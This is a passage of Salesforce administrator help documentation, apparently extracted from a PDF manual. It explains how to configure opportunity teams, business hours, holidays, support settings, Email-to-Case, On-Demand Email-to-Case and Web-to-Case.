You can specify which fields appear on the Opportunity Team Member multi-line page. To view this page, add a new member to an opportunity team. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Opportunity Teams > Page Layouts. Next to the name of an opportunity team page layout, click Edit. Click Edit Multi-Line Layout in the top right corner. Move fields between Available Fields and Selected Fields. To customize which fields display in the layout, select one or more fields in Available Fields and click Add or Remove. To sort fields in the layout, select one or more fields in Selected Fields and click Up or Down. To select multiple fields individually, use CTRL+click. To select multiple fields as a group, use SHIFT+click.

5. Click Save to apply your changes.

See Also:
Customizing Opportunity Teams

Enabling Team Selling


Enabling team selling gives your users access to create and use opportunity teams on opportunities. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable team selling: Customize Application

1. 2. 3. 4. 5.

Click Your Name > Setup > Customize > Opportunities > Opportunity Teams. Click Settings. Select Enable Team Selling and click Save. Select the opportunity page layouts that will display the new Opportunity Team related list. Optionally, select Append to users personal related list customization.

1407

Customize

Customizing Opportunity Teams

6. Click Save. When team selling is enabled, you can add custom fields, custom buttons and links, validation rules, and Apex triggers to opportunity teams. You can also edit opportunity team page layouts and create custom report types for opportunity teams.

See Also:
Disabling Team Selling Customizing Opportunity Teams

Disabling Team Selling


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To disable team selling: Customize Application

1. Delete any custom fields, custom buttons and links, page layouts, validation rules, or Apex triggers that you have added to opportunity teams. You must also delete any custom reports that include opportunity team information and uninstall any Apex packages that use opportunity teams. 2. Click Your Name > Setup > Customize > Opportunities > Opportunity Teams. 3. Click Settings. 4. Select Disable Team Selling and click Save. 5. Select Yes at the prompt and click OK. All opportunity teams assigned to opportunities and all default opportunity teams are permanently deleted. Note: You cant disable team selling for your organization if team members are referenced in Apex. For example, if Apex code references the Team Member field (represented as OpportunityTeamMember in the code), team selling cannot be disabled. See Apex Code Overview.

See Also:
Enabling Team Selling Customizing Opportunity Teams

1408

Support

Setting Up Customer Support

SUPPORT
Setting Up Customer Support
The available support setup options vary according to which Salesforce Edition you have.

If your organization uses cases and solutions, you can set up various automated support features. Click Your Name > Setup > Customize > Cases. Click Business Hours to set your organizations support hours. Click Assignment Rules to create rules for automatically routing cases. Click Escalation Rules to create rules for automatically escalating cases. Click Support Settings to customize email templates and defaults for automated support features. Click Auto-Response Rules to set up rules that send email to customers when they submit cases from one of the following: A Web-to-Case form An Email-to-Case message An On-Demand Email-to-Case message A Customer Portal A Self-Service portal

Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each customer email automatically populates case fields.

For support features related to solutions, click Your Name > Setup > Customize > Solutions. Click Solution Categories to set up categories so your users can categorize the solutions they create. Click Solution Settings to enable specific options for solutions.

For additional support features, click Your Name > Setup > Customize > Self-Service. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Click Public Solutions to set up public solutions for your customers to use when searching for solutions. Click Web-to-Case to set up the ability to capture cases from your website. Click Self-Service Portal to set up your organizations web portal for your customers to log cases and search for solutions.

For support features related to a Salesforce Customer Portal, click Your Name > Setup > Customize > Customer Portal. Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions, and access any custom objects you may have created for them.

For support features related to Salesforce CRM Call Center, click Your Name > Setup > Customize > Call Center. Click Call Centers to set up new call centers and manage the users who are assigned to them.

1409

Customize

Setting Business Hours

Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory. Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.

To create support queues for cases or custom objects, click Your Name > Setup > Manage Users > Queues. The support features include the ability to notify customers when their case is created manually or via the web, or when their case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification emails, you must create email templates for each type of notification.

See Also:
Setting Up Your Organization Administrator tip sheet: Setting Up Customer Support Administrator tip sheet: Getting the Most from Your Self-Service Portal Administrator setup guide: Self-Service Implementation Guide Administrator setup guide: Case Management Implementation Guide

Setting Business Hours


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set business hours: Manage Business Hours Holidays

You can specify the business hours at which your customer support team operates, including multiple business hours in multiple time zones. Setting business hours lets you apply specific time zones and locations to: Cases Case escalation rules Case milestones in entitlement processes

After you set business hours, users can click Business Hours on a case to set the times at which a support team is available to work on the case. Additionally, users with the Customize Application permission can add business hours to escalation rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 385 and Setting Up Escalation Rules on page 1344. To set business hours: 1. Click Your Name > Setup > Company Profile > Business Hours. 2. Click New Business Hours. 3. Enter a name for the business hours.

1410

Customize

Setting Business Hours

We recommend that you enter text in the Business Hours Name field that will remind users of a location or time zone when they view business hours on a case. For example, if your business hours are for a support center in San Francisco, you could enter San Francisco Business Hours. 4. Click Active to allow users to associate the business hours with cases and escalation rules. Click Active again to deactivate the business hours. You cannot delete business hours. 5. Optionally, click Use these business hours as the default to set the business hours as the default business hours on all new cases. Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 1344. 6. Choose a time zone to associate with the business hours in the Time Zone drop-down list. 7. Set your business hours for each day of the week: By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for the business hours, or leave the fields blank. Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start times must be earlier than end times.

8. Click Save. 9. Optionally associate the business hours to: Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1344. Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates and times specified in holidays. For more information, see Setting Holidays on page 1415.

To update business hours, click Your Name > Setup > Company Profile > Business Hours and click the Edit link next to the name of the business hours you wish to update. Tips on Setting Business Hours Consider the following when setting business hours: After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the Business Hours field. This allows users to view and update business hours on a case. For more information, see Customizing Page Layouts on page 1311 and Field-Level Security Overview on page 671. Business hours on a case are automatically set to your organization's default business hours, unless the case matches the criteria on an escalation rule associated with different business hours. Salesforce automatically calculates daylight savings times for the time zones available for business hours. Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up Escalation Rules on page 1344. You can update cases associated with business hours that are no longer active without having to reactivate business hours. You cannot include the Business Hours field in list views or reports. You can create multiple business hours for support teams that operate in the same time zone but at different hours. For simplicity, we recommend that you create one set of business hours per support center. You cannot deactivate business hours that are included in escalation rules. You must first remove them from the escalation rules. For more information, see Setting Up Escalation Rules on page 1344. You can associate up to 1000 holidays with each set of business hours.

1411

Customize

Customizing Support Settings

Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case that already has business hours, the entitlement's business hours are ignored.

See Also:
Creating Escalation Rules Setting Up Customer Support Entitlement Management Overview

Customizing Support Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change support settings: Manage Cases AND Customize Application

To select default support templates and automated support features for your organization: 1. Click Your Name > Setup > Customize > Cases > Support Settings. 2. Click Edit. 3. Select the following settings and templates as necessary: Field
Default Case Owner

Description The user or queue automatically assigned to all cases that don't match any case assignment rule entries. This user must be Active. Select this checkbox to notify the default case owner when a case is assigned to him or her. If the new owner is a queue, the notification is sent to the queue email address. Notifications are system-generated and can't be modified. Indicates which record type to assign to cases created by users applying assignment rules. Select either: Keep the existing record type if you want new cases to keep the creator's record type Override the existing record type with the assignee's default record type if you want to overwrite the creator's record type on new cases

Notify Default Case Owner

Record Type Setting

1412

Customize

Customizing Support Settings

Field
Automated Case User

Description The user listed in the Case History related list for automated case changes. Automated case changes may occur from assignment rules, escalation rules, On-Demand Email-to-Case, or cases logged in the Self-Service portal. This user must have the System Administrator profile or the Modify All Data and Send Email permissions. The template used to notify contacts that their case was created manually by a support agent. The notification is optional; it's triggered by a checkbox on the case edit page. This template must be Available for Use. The template used to notify users that a case was manually assigned to them by an administrator or another user. The notification is optional; it's triggered by a checkbox on the Change Case Owner page. This template must be Available for Use. The template used to notify contacts that a case has been closed. The notification is optional; it's triggered by a checkbox on the Close Case page. This template must be Available for Use. Automatically selects the Visible in Self-Service Portal checkbox for all new cases, including cases created via Web-to-Case, Email-to-Case, and On-Demand Email-to-Case. Regardless of this default, users creating new cases can manually set the Visible in Self-Service Portal checkbox.

Case Creation Template

Case Assigned Template

Case Close Template

New Cases Visible in Portal

Enable Case Comment Notification to Contacts Select this checkbox to notify contacts who aren't Self-Service

portal users when a case comment has been modified or added to a case. If you select this setting, click Case Comment Template and choose the email template to use for these notifications. This template must be Available for Use.
Notify Case Owner of New Case Comments

Select this checkbox to notify the case owner when a user adds a public or private comment to a case. If you select this setting, case owners can't opt out of receiving these notices. (Notices aren't sent to inactive case owners.) Select this checkbox to enable early triggers for escalation rules and their actions. You can set up an escalation rule to perform an action when a case has been unresolved for a specific number of hours. The Age Over hour you specify determines when Salesforce performs the escalation action. Enable early triggers to ensure

Early Triggers Enabled

1413

Customize

Customizing Support Settings

Field

Description that your escalation actions are triggered before the Age Over hour you specify.

Enable Suggested Solutions

Select this checkbox to enable the Suggested Solutions button on case detail pages For more information about how Customer Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings on page 1758. For information about setting up suggested solutions for your Self-Service portal, see Customize the Suggested Solutions Page on page 1451.

Enable Suggested Articles

Select this option to provide suggested articles on the Articles related list. You can make suggested articles available in all Salesforce Knowledge channels except the public knowledge base. Select this checkbox to specify that case comment, attachment, and assignment notifications sent to case owners are sent from a system address, rather than the address of the user who updated the case. System notifications display a From email address of noreply@salesforce.com, and an email Name related to the message, such as Case Comment Notification. You can select this checkbox to prevent Self-Service or Customer Portal users who update their cases from receiving any out-of-office emails from case owners whose email is set to out-of-office.

Send Case Notifications from System Address

Notify Case Owners when Case Ownership Changes

Select this checkbox to automatically select Send Notification Email on cases when users change a case owner to another user. This helps prevent users from forgetting to notify other users that they're the new owner of a case. Selecting this setting doesn't automatically select Send Notification Email when users change a case owner to a queue. See Managing Queues on page 603.

Show Closed Statuses in Case Status Field

Select this checkbox to add closed statuses to the Status field on cases so that users can close cases without having to click the Close Case button and update information on close case page layouts. See Closing Cases on page 3369. Selecting Show Closed Statuses in Case Status Field doesn't remove the Close button from case list views. Instead, it adds Closed to the list of statuses available for users to choose from when they select multiple cases and click

1414

Customize

Setting Holidays

Field

Description Change Status on case list views. See Viewing Case Lists on page 3342.

Hide Save & Close Button and Cls Links

After selecting Show Closed Statuses in Case Status Field as described above, you can select this checkbox so that the Save & Close button on case edit pages and Cls links on Cases related lists don't display unnecessarily. Instead, users close cases via the Status field and Save button.

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

See Also:
Managing Email Templates Managing Queues Managing Assignment Rules Creating Escalation Rules Capturing Web Cases Setting Up Customer Support

Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set holidays: Manage Business Hours Holidays

Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times specified in the holiday. For more information, see Setting Business Hours on page 1410 and Setting Up Escalation Rules on page 1344. To set holidays: 1. Click Your Name > Setup > Company Profile > Holidays. Click Edit to edit an existing holiday. Click Del to delete an existing holiday. You can only delete a holiday that is not associated with any business hours.

1415

Customize

Setting Holidays

Click Clone next to an elapsed holiday to clone it. The Elapsed Holidays related list displays holidays that have occurred in the past. You can only clone elapsed holidays.

If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday. Warning: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.

The recurring icon ( ) displays next to the date and time of recurring holidays. 2. Click New. 3. Enter a name for the holiday. 4. Enter a date for the holiday. If you want the holiday to span more than one day: a. b. c. d. Select the Recurring Holiday checkbox Enter the first day of the holiday in the Start Date field. Deselect the No End Date checkbox in the End Date field. Enter the last day of the holiday in the End Date field.

5. Optionally, you can: Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field and entering the exact times. Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times: In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or Monthly fields, more options display that allow you to refine frequency criteria. In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur. The following error message displays if you select a start date and end date that does not correspond with the frequency you selected: The recurring holiday has no occurrence. 6. Click Save. 7. Click Add/Remove on the Business Hours related list. 8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column. 9. Click Save. Tips on Setting Holidays Consider the following when setting holidays: You can associate a holiday with multiple business hours. You can associate up to 1000 holidays with each set of business hours. Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours in Pacific Standard Time. Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day.

1416

Customize

Email-to-Case and On-Demand Email-to-Case Overview

Currently, there are no limits to how many holidays you can create for your organization. Currently, report results do not take into account holidays. If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of every month drop-down list. You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on page 1410.

Email-to-Case and On-Demand Email-to-Case Overview


Email-to-Case and On-Demand Email-to-Case are available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed To set up Email-to-Case or On-Demand Email-to-Case: To enable Email-to-Case or On-Demand Email-to-Case: Customize Application Modify All Data AND Customize Application

Salesforce can automatically create a case when an email is sent to one of your company's support email addresses, such as support@company.com. Your organization can set up Email-to-Caseor On-Demand Email-to-Case to efficiently resolve and correspond with customer inquiries via email. Salesforce allows you to choose which option is best for your organization. Email-to-Case Email-to-Case helps your company efficiently resolve and correspond with customer inquiries via email. It automatically creates a case in Salesforce when an email is sent to your companys customer support email address(es) and auto-populates case fields from the content of the message. Email-to-Case requires downloading the Email-to-Case agent. This allows you to keep all email traffic within your networks firewall and accept emails larger than 10 MB. You must install this agent on your local machine before Salesforce can process your companys support emails. . On-Demand Email-to-Case On-Demand Email-to-Case helps your company efficiently resolve and correspond with customer inquiries via email. It automatically creates a case in Salesforce when an email is sent to your companys customer support email address(es) and auto-populates case fields from the content of the message. On-Demand Email-to-Case allows you to process customer emails up to 10 MB in size. Unlike Email-to-Case, On-Demand Email-to-Case uses Apex email services to convert email to cases, without requiring you to download and install an agent behind your network's firewall. Use On-Demand Email-to-Case if youre not

1417

Customize

Setting Up Email-to-Case

concerned about keeping email traffic within your firewall, and you dont need to accept attachments larger than 10 MB from customers.

See Also:
Enabling and Configuring Email-to-Case On-Demand Email-to-Case Settings

Setting Up Email-to-Case
Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

User Permissions Needed To set up Email-to-Case: To enable Email-to-Case: Customize Application Modify All Data AND Customize Application

Email-to-Case helps your company efficiently resolve and correspond with customer inquiries via email. It automatically creates a case in Salesforce when an email is sent to your companys customer support email address(es) and auto-populates case fields from the content of the message. 1. Download the Email-to-Case agent.. This allows you to keep all email traffic within your networks firewall and accept emails larger than 10 MB from customers. 2. Install the agent behind your networks firewall. 3. Enable Email-to-Case and configure your Email-to-Case settings. 4. Configure your routing address settings to customize the way Salesforce handles your customer emails. 5. Test your email routing addresses by manually sending emails to them and verify that these emails convert to cases based on their routing address settings. 6. Add the email address that you configured to your company's support website. This is the email address customers can use to submit cases to your support team. 7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts.

1418

Customize

Enabling and Configuring Email-to-Case

Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand Email-to-Case emails. These templates can include merge fields that display information from the original email in the response. See Managing Email Templates on page 474.

See Also:
Displaying and Editing Cases Working with Case Emails Setting Up Auto-Response Rules Email-to-Case and On-Demand Email-to-Case Overview Enabling and Configuring Email-to-Case Email-to-Case Settings

Enabling and Configuring Email-to-Case


Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

User Permissions Needed To set up Email-to-Case: To enable Email-to-Case: Customize Application Modify All Data AND Customize Application

Before you can enable and configure Email-to-Case, you need to download and install the Email-to-Case agent onto your local machine. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Cases > Email-to-Case. Click Edit. Select Enable Email-to-Case. Configure your Email-to-Case settings. Click Save.

See Also:
Email-to-Case and On-Demand Email-to-Case Overview Email-to-Case Settings Configuring Routing Addresses for Email-to-Case and On-Demand Email-to-Case

1419

Customize

Email-to-Case Settings

Email-to-Case Settings
Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

You can configure your Email-to-Case settings to customize the way your incoming emails are processed. Email-to-Case Setting
Notify Case Owners on New Email

Description Select this checkbox to allow case owners to automatically receive notifications of new emails for their existing cases. Email notifications assign a task to the case owner to respond to the new email. Responding to the email closes the task. To disable email notifications at any time, simply deselect the checkbox. Select this checkbox to warn users before they view incoming HTML email content so that they can avoid opening potentially malicious HTML that could harm their computers. With this setting disabled, users will see text instead of HTML on email message detail pages, and when users reply to an email, the text version of the email will be copied to the email editor, instead of the HTML version. To disable HTML email warnings at any time, simply deselect the checkbox. Select this checkbox to add the thread ID to the subject of email. Select this checkbox to add the thread ID to the body of email.

Enable HTML Email

Email Subject Email Body

Notes on Email Subject and Email Body Make sure the subject line and body of your outgoing emails are unique. Warning: If the Email Subject and Email Body are the same, Email-to-Case creates an infinite loop of emails related to each case. If this goes unchecked, Email-to-Case will eventually stop accepting new emails. To exclude the thread ID from email, deselect both the Email Subject and Email Body checkboxes. A new case will be created when someone responds to an outbound case email.

1420

Customize

Configuring Routing Addresses for Email-to-Case and On-Demand Email-to-Case

Configuring Routing Addresses for Email-to-Case and On-Demand Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure routing addresses for Email-to-Case and On-Demand Email-to-Case: Customize Application

Before you set up routing addresses for Email-to-Case and On-Demand Email-to-Case, you must enable Email-to-Case and configure your Email-to-Case settings. 1. 2. 3. 4. Click Your Name > Setup > Customize > Cases > Email-to-Case. In the Routing Addresses list, click New. Enter your routing address settings. Click Save. A verification email is sent to the routing email address you provided. 5. Click the link in the verification email. A confirmation page opens in your Web browser. 6. Click the link in the confirmation page to continue to Salesforce. You must configure your email system to forward case submissions to the email services address provided by Salesforce.

Routing Address Settings for Email-to-Case and On-Demand Email-to-Case


Email-to-Case and On-Demand Email-to-Case are available in: Professional, Enterprise, Unlimited, and Developer Editions.

You can define your email routing address settings after you add and verify your email routing addresses for Email-to-Case and On-Demand Email-to-Case. Setting
Routing Name Email Address

Description The name for the routing addressfor example, Gold Support or Standard Support. Email-to-Case source only: The inbound email address for this On-Demand Email-to-Case routing address. Email sent to this address creates new cases using the specified settings. The email address must be unique. Note that this is the email address to which you will provide a link on your company's support website.

1421

Customize

Routing Address Settings for Email-to-Case and On-Demand Email-to-Case

Setting
Save Email Headers

Description Email-to-Case source only: Select this checkbox to save the email routing information associated with each email submitted as a case. Saving email routing information counts towards your organization's overall storage limit. For more information, see Monitoring Resources on page 769. To view email headers from an email converted to a case, see Working with Case Emails on page 3357.

Accept Email From

To limit the email addresses and domains available for On-Demand Email-to-Case, entering them in this field. Leave it blank to allow On-Demand Email-to-Case to receive email from any email address or domain. Email-to-Case source only: Select this checkbox to automatically assign a task to the case owner when an email is submitted as a case. Assignment rules automatically assign owners to a case; however, if a case does not match assignment rule criteria, then the user in the Default Case Owner field on the Support Settings page is assigned to the case. For more information, see Setting Up Assignment Rules on page 1341 and Customizing Support Settings on page 1412.

Create Task from Email

Task Status

Email-to-Case source only: Choose a status from this drop-down list with which to predefine the Status field on tasks automatically assigned to case owners when email is submitted as cases. This setting is only available if you selected the Create Task from Email checkbox.

Case Owner Case Priority Case Origin

Outlook source only: The owner of the case, which can be either an individual user or a queue. The priority assigned to cases created from emails sent to this email routing address. The value assigned to the Case Origin field for email sent to this email routing address.

Note: The Priority and Case Origin fields auto-populate the case via the routing address settings when the routing address is included in either the To, CC, or BCC fields of an inbound email.

1422

Customize

Setting Up On-Demand Email-to-Case

Setting Up On-Demand Email-to-Case


On-Demand Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

User Permissions Needed To set up On-Demand Email-to-Case: To enable On-Demand Email-to-Case: Customize Application Modify All Data AND Customize Application

On-Demand Email-to-Case helps your company efficiently resolve and correspond with customer inquiries via email. It automatically creates a case in Salesforce when an email is sent to your companys customer support email address(es) and auto-populates case fields from the content of the message. On-Demand Email-to-Case allows you to process customer emails up to 10 MB in size. Note: Text in an email that is over 32,000 characters is automatically truncated to 32,000 characters by On-Demand Email-to-Case. Your Salesforce.com representative can raise this limit to 128,000 characters for your organization if necessary. 1. 2. 3. 4. 5. Set the Default Case Owner and Automated Case Owner for your organization. Enable and configure Email-to-Case. Enable and configure On-Demand Email-to-Case. on page 1424 Configure your routing address settings to customize the way Salesforce handles your customer emails. Test your email routing addresses by manually sending emails to them and verify that these emails convert to cases based on their routing address settings. 6. Add the email address that you configured to your company's support website. This is the email address customers can use to submit cases to your support team. 7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts. Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand Email-to-Case emails. These templates can include merge fields that display information from the original email in the response. See Managing Email Templates on page 474.

See Also:
Setting Up Auto-Response Rules On-Demand Email-to-Case Settings Routing Address Settings for Email-to-Case and On-Demand Email-to-Case Enabling and Configuring On-Demand Email-to-Case Email-to-Case and On-Demand Email-to-Case Overview

1423

Customize

Enabling and Configuring On-Demand Email-to-Case

Enabling and Configuring On-Demand Email-to-Case


On-Demand Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

User Permissions Needed To set up On-Demand Email-to-Case: To enable On-Demand Email-to-Case: Customize Application Modify All Data AND Customize Application

Before you enable On-Demand Email-to-Case, set the Default Case Owner and Automated Case Owner and enable and configure Email-to-Case. 1. 2. 3. 4. Click Your Name > Setup > Customize > Cases > Email-to-Case. Click Edit. Select Enable On-Demand Service. Select your Over Email Rate Limit Action and Unauthorized Sender Action settings based on how your company plans to use On-Demand Email-to-Case 5. Click Save.

See Also:
Email-to-Case and On-Demand Email-to-Case Overview On-Demand Email-to-Case Settings Setting Up On-Demand Email-to-Case Routing Address Settings for Email-to-Case and On-Demand Email-to-Case

On-Demand Email-to-Case Settings


On-Demand Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer editions.

These settings are specific to On-Demand Email-to-Case. For more information about general Email-to-Case settings, see Email-to-Case Settings. On-Demand Email-to-Case Setting
Over Email Rate Limit Action

Description Choose what On-Demand Email-to-Case does with email that surpasses your organizations daily email processing limit: Bounce messageThe email service returns the message to the sender or to the Automated Case User for

1424

Customize

Enabling Public Solutions

On-Demand Email-to-Case Setting

Description On-Demand Email-to-Case, with a notification that explains why the message was rejected. Discard messageThe email service deletes the message without notifying the sender. Requeue messageThe email service queues the message for processing in the next 24 hours. If the message is not processed within 24 hours, the email service returns the message to the sender with a notification that explains why the message was rejected.

Unauthorized Sender Action

If you limited the email addresses and domains available for On-Demand Email-to-Case in the Accept Email From field, choose what happens to messages received from senders who are blocked: Bounce messageThe email service returns the message to the sender or to the Automated Case User for On-Demand Email-to-Case, with a notification that explains why the message was rejected. Discard messageThe email service deletes the message without notifying the sender.

Make sure the subject line and body of your outgoing emails are unique. Warning: If the Email Subject and Email Body are the same, Email-to-Case creates an infinite loop of emails related to each case. If this goes unchecked, Email-to-Case will eventually stop accepting new emails.

Enabling Public Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable web access to solutions: Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find helpful. Using HTML code supplied by Salesforce, and with the help of your website administrator, you can add a search box and button to your website that allows your customers to search for solutions. This functionality is known as Public Solutions.

1425

Customize

Enabling Public Solutions

With public solutions, your customers can find answers to frequently asked questions without having to call your customer support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked will be available as public solutions, including any solution attachments. Public solutions are different from the Self-Service portal and Salesforce Customer Portal because users are not required to log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer Portal, see Setting Up Self-Service on page 1433 and Setting Up Your Customer Portal on page 1751. Note: The search box and button are displayed in a frame; your website must support frames in order for the solution search feature to work. Suggested solutions does not display Salesforce Knowledge articles.

To enable Web access to solutions: 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Public Solutions. Click Edit. Check Public Solutions Enabled. If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions by category. Solution categories cannot be translated into other languages for public solutions. If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings on page 1432. 5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions. Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge Base. Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as public solutions. 6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and Minimum Page Height. 7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a sample file as a starting point later, or use your own file. 8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular and plural versions of the term. 9. Click Save. 10. If desired, click Download Sample CSS File to get the Salesforce style sheet. 11. Click Generate HTML. 12. Copy the resulting HTML code and click Finished. 13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows: Add the HTML to your Web page. Customize the downloaded style sheet. Host the style sheet in a publicly accessible location on your Web server.

1426

Customize

Capturing Web Cases

Capturing Web Cases


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Case: Customize Application

With Web-to-Case, you can gather customer support requests directly from your companys website and automatically generate up to 5000 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of your support team. Preparation Before setting up Web-to-Case: Create custom case fields, if needed (see About Custom Fields on page 1092). Create a default email template for the automated notification email that will be sent to your customers upon submission of each case (see Managing Email Templates on page 474). Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on page 603). Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule (see Customizing Support Settings on page 1412). Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see Managing Assignment Rules on page 1340). If you do not set an active assignment rule, all web-generated cases are assigned to the default owner you specify in the Support Settings.

For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 1427.

Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Case: Customize Application

To set up Web-to-Case: 1. See Preparation on page 1427. 2. Click Your Name > Setup > Customize > Self-Service > Web-to-Case. This tool helps you generate the HTML code that your webmaster can insert into your company's website. a. Click the link to enable Web-to-Case, and check the box to turn it on. b. Select a default response template for automatically notifying customers that their case was created.

1427

Customize

Setting Up Web-to-Case

If you set up response rules to use different email templates based on the information submitted, the default email template is used when no response rules apply. For instructions on setting up response rules, see Setting Up Auto-Response Rules on page 1348. Leave this option blank if you do not wish to send emails when no response rules apply. This template must be marked as Available for Use. c. Choose the default Origin for all Web cases, and click Save. d. Click Generate the HTML. Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.

e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on your form. For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency amount fields, otherwise all amounts will be captured in your corporate currency. For organizations using record types on cases, select the Case Record Type field if you want users submitting Web-generated cases to select specific record types. f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible to users in these portals, select Visible in Self-Service Portal. g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language. h. Specify the complete URL to which customers should be directed after they submit their information, and click Generate. This could be a thank you page or your company's home page. 3. Copy the generated HTML code and provide it to your companys webmaster so he or she can incorporate it into your website. 4. Click Finished. 5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing the Web-to-Case page to your website. Note: All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default case owner specified in your Support Settings page. Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on the customers email address. Salesforce runs field validation rules before creating records submitted via Web-to-Case and only creates records that have valid values. All universally required fields must have a value before a record can be created via Web-to-Case. The format for date and currency fields captured online is taken from your organizations default settings - Default Locale and Currency Locale. Salesforce doesnt support rich text area (RTA) fields on Web-to-Case forms. If you use RTA fields on your forms, any information entered in them is saved as plain text when the case is created.

1428

Customize

Managing Solution Categories

If your organization exceeds its daily Web-to-Case limit, the default case owner (specified in your Support Settings page) will receive an email containing the additional case information.

See Also:
Assigning Cases Displaying and Editing Cases Managing Assignment Rules Setting Up Customer Support Setting Up Self-Service Setting Up Auto-Response Rules

Managing Solution Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change solution categories: Manage Categories

